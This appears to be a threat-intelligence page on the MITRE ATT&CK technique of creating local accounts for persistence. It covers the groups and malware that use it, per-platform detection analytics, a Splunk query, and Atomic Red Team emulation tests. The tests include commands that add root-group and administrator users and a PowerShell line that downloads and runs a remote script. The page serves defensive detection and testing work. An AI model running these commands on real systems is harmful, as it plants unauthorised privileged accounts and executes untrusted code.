tfMITRE ATT&CK sub-technique

Local Account T1136.001

Tactic: Persistence
Platforms: Containers, ESXi, Linux, macOS, Network Devices, Windows
Version: 1.5
Created: 28 January 2020
Last modified: 12 May 2026
Contributor: Austin Clark, @c2defense

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 13%

Threat groups87th percentile · 87% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 21%

Tools & malware79th percentile · 79% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 8%

Detection rules92nd percentile · 92% of ATT&CK techniques have this many detection rules written or fewer.

Local Account MITRE reference T1136.001

Top 13%of all ATT&CK techniques for number of groups

14 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

DaggerflyG1034 ↗

Created a local account on victim machines to maintain access.1

created 2024-07-251 referenceaka Evasive Panda

APT5G1023 ↗

Has created Local Administrator accounts to maintain access to systems with short-cycle credential rotation.1

created 2024-02-051 referenceaka Mulberry Typhoon

FIN13G1016 ↗

Has created MS-SQL local accounts in a compromised network.1

created 2023-07-271 referenceaka Elephant Beetle

TeamTNTG0139 ↗

Has created local privileged users on victim machines.1

created 2021-10-011 reference

Indrik SpiderG0119 ↗

Has created local system accounts and has added the accounts to privileged groups.1

created 2021-01-061 referenceaka Evil Corp

Fox KittenG0117 ↗

Has created a local user account with administrator privileges.1

created 2020-12-211 referenceaka UNC757

All 14 groups for this technique · 6 newest in this preview

15 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

DarkGateS1111 ↗

Creates a local user account, SafeMode, via net user commands.1

created 2024-02-09MALWARE

SMOKEDHAMS0649 ↗

Has created user accounts.1

created 2021-09-22MALWARE

HildegardS0601 ↗

Has created a user named “monerodaemon”.1

created 2021-04-07MALWAREcarried by 1 group

GoldenSpyS0493 ↗

Can create new users on an infected system.1

created 2020-07-23MALWARE

ZxShellS0412 ↗

Has a feature to create local user accounts.1

created 2019-09-24MALWAREcarried by 3 groups

HiddenWaspS0394 ↗

Creates a user account as a means to provide initial persistence to the compromised machine.1

created 2019-06-24MALWARE

All 15 software entries for this technique · 6 newest in this preview

Offense vs defense T1136.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 18Splunk ESCU (cumulative) · 13

first rule: 2018 Q4 · 1 of 1 campaigns plotted

Local Account detection strategy DET0447

MITRE names one behaviour worth catching for this technique and breaks it into 6 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

T1136.001 Detection Strategy - Local Account Creation Across Platforms

Enterprise

6 platforms

AN1235 · Windows

Adversary uses built-in tools like 'net user /add', PowerShell, or WMI to create a local user. Sequence: Account creation event (4720) follows process creation of a suspicious executable (e.g., powershell.exe or net.exe).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account CreationDC0014	WinEventLog:Security	EventCode=4720
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcessName	Attackers may use cmd.exe, wscript.exe, or renamed binaries to evade detection
TimeWindow	Define time threshold between process start and user creation event (e.g., 5s–2m)
UserContext	Correlate if process runs under SYSTEM, Administrator, or untrusted account

AN1236 · Linux

Local user accounts are created via binaries like 'useradd', 'adduser', or by editing passwd/shadow. Behavior chain includes execution of user management binaries or modification of user database files.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account CreationDC0014	auditd:SYSCALL	useradd or adduser executed
File ModificationDC0061	auditd:SYSCALL	write operation on /etc/passwd or /etc/shadow

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
BinaryPath	Account creation may be scripted via shell scripts, cron jobs, or remote shells
ExecutionSource	Flag if commands are issued from remote sessions (e.g., sshd)

AN1237 · macOS

Account creation using 'dscl -create' or via GUI tools. Detection involves command execution and file changes to the local directory services database.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File ModificationDC0061	macos:unifiedlog	modification to /var/db/dslocal/nodes/Default/users/
Command ExecutionDC0064	macos:unifiedlog	dscl -create

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UsernamePattern	Accounts like 'svc', 'backup' may blend into legit naming patterns
SessionOrigin	Identify if dscl was run locally, via ARD, or Terminal.app

AN1238 · ESXi

Account created using esxcli commands. Sequence includes esxcli execution and successful modification to account DB.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	esxi:vmkernel	esxcli system account add

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandOrigin	Console sessions vs SSH vs vSphere CLI session may affect alert fidelity

AN1239 · Containers

Account created in a running container (e.g., via 'useradd' or by modifying /etc/passwd directly). Detectable via runtime telemetry (e.g., Falco or eBPF hooks).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	ebpf:syscalls	useradd or /etc/passwd modified inside container

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ContainerContext	Distinguish between ephemeral containers and long-lived service containers
NamespaceScope	Determine if account was added inside host, user, or PID namespace

AN1240 · Network Devices

Account created via CLI using 'username' command or REST API. Detectable through AAA logging or CLI history telemetry.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account CreationDC0014	networkdevice:syslog	username <user> privilege <level>

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
PrivilegeLevel	Some devices allow unprivileged user creation—adjust based on role risk
RemoteSessionFlag	Creation via Telnet, SSH, or serial console affects detection priority

1 analytic

This search looks for the creation of local administrator accounts using net.exe.

TypeTTPCoverageModerateSubmitted2021

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Pseudocode implementation of the Splunk search below

processes = search Process:Create
certutil_downloads = filter processes where (
  (exe = C:\Windows\System32\net.exe OR exe = C:\Windows\System32\net1.exe ) AND (command_line = *localgroup* OR command_line = */add* OR command_line = *user* ))
output certutil_downloads

You must be ingesting data that records process activity from your hosts to populate the Endpoint data model in the Processes node. You must also be ingesting logs with both the process name and command line from your endpoints. The command-line arguments are mapped to the "process" field in the Endpoint data model.

| tstats count values(Processes.user) as user values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=net.exe OR Processes.process_name=net1.exe) AND (Processes.process=*localgroup* OR Processes.process=*/add* OR Processes.process=*user*) by Processes.process Processes.process_name Processes.dest   |`create_local_admin_accounts_using_net_exe_filter`

Unit tests

CAR’s own validation procedures for this analytic.

Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1136.001/atomic_red_team/windows-security.log) using the Splunk attack range with the commands below

["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]

execute the atomic test [T1136.001](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1136.001) against a Windows target.

["Invoke-AtomicTest T1136.001"]

Tests10Executorsbash 4 · sh 2 · cmd 2 · PowerShell 2Need elevation9 of 10Have prerequisites1Have cleanup8Platformslinux, macos, windows, containers

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Create a user account on a Linux system linux bash Required — Yes

Create a user via useradd

Input arguments

Name	Type	Default	Description
username	string	evil_user	Username of the user to create

Attack command

useradd -M -N -r -s /bin/bash -c evil_account #{username}

Cleanup command

userdel #{username}

GUID6d4ffe4c-884d-4cab-a7b1-6bff1d769c0d

02 Create a user account on a FreeBSD system linux sh Required — Yes

Create a user via pw

Input arguments

Name	Type	Default	Description
username	string	evil_user	Username of the user to create

Attack command

pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account

Cleanup command

rmuser -y #{username}

GUID2b5b7d4d-219e-4b86-8623-7da85036dc0b

03 Create a user account on a MacOS system macos bash Required — Yes

Creates a user on a MacOS system with dscl

Input arguments

Name	Type	Default	Description
realname	string	Evil Account	'realname' to record when creating the user
username	string	evil_user	Username of the user to create

Attack command

dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/zsh
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}

Cleanup command

dscl . -delete /Users/#{username}

GUID9b639a2f-949a-4cd5-addd-9c2a980b0735

04 Create a new user in a command prompt windows cmd Required — Yes

Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"

Input arguments

Name	Type	Default	Description
password	string	T1136.001_CMD!	Password of the user to create
username	string	T1136.001_CMD	Username of the user to create

Attack command

net user /add "#{username}" "#{password}"

Cleanup command

net user /del "#{username}" >nul 2>&1

GUIDf8258a62-b7be-4760-aa5d-91f3ea27acf3

05 Create a new user in PowerShell windows PowerShell Required — Yes

Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"

Input arguments

Name	Type	Default	Description
username	string	T1136.001_PowerShell	Username of the user to create

Attack command

New-LocalUser -Name "#{username}" -NoPassword

Cleanup command

Remove-LocalUser -Name "#{username}" -ErrorAction Ignore

GUID62cee314-41be-4821-afa4-540491b0e81b

06 Create a new user in Linux with `root` UID and GID. linux bash Required — Yes

Creates a new user in Linux and adds the user to the root group. This technique was used by adversaries during the Butter attack campaign.

Input arguments

Name	Type	Default	Description
password	string	BetterWithButter	Password of the user to create
username	string	butter	Username of the user to create

Attack command

useradd -g 0 -M -d /root -s /bin/bash #{username}
if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;

Cleanup command

userdel #{username}

GUID9e2be435-09bd-4a45-bdba-6dac132756c7

07 Create a new user in FreeBSD with `root` GID. linux sh Required — Yes

Creates a new user in FreeBSD and adds the user to the root group. This technique was used by adversaries during the Butter attack campaign.

Input arguments

Name	Type	Default	Description
password	string	BetterWithButter	Password of the user to create
username	string	butter	Username of the user to create

Attack command

pw useradd #{username} -g 0 -d /root -s /bin/sh
echo "#{password}" | pw usermod #{username} -h 0

Cleanup command

pw userdel #{username}

GUID0540388f-bb24-4e6c-ba18-ef1455ba0f1f

08 Create a new Windows admin user windows cmd Required — Yes

Creates a new admin user in a command prompt.

Input arguments

Name	Type	Default	Description
password	string	T1136_pass	Password of the user to create
username	string	T1136.001_Admin	Username of the user to create

Attack command

net user /add "#{username}" "#{password}"
net localgroup administrators "#{username}" /add

Cleanup command

net user /del "#{username}" >nul 2>&1

GUID6acc4f8d-c17d-4fdc-bb01-a901fae406d3

09 Create a new Windows admin user via .NET windows PowerShell Required — —

Creates a new admin user in a powershell session without using net.exe

Attack command

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')

GUID74d2c342-80a5-439d-958b-53009667dc51

10 Create a Linux user via kubectl in a Pod containers bash — 1 —

Launches a short-lived Alpine pod and creates a Linux user inside the pod. The pod is automatically deleted after execution.

Input arguments

Name	Type	Default	Description
pod_name	string	atomic-linux-useradd	K8s pod_name to execute the command in
username	string	evil_user	Username of the user to create inside the pod
image_name	string	alpine	Name of the docker image

Attack command

kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}'

Prerequisite

kubectl must be installed and configured

Check

which kubectl

Satisfy

echo "kubectl must be installed manually"

GUID48997d33-3163-47f7-958e-a63f2857b0f1

Tests from Atomic Red Team (MIT licence) · technique definition

Local Account detections T1136.001

31 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 8%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs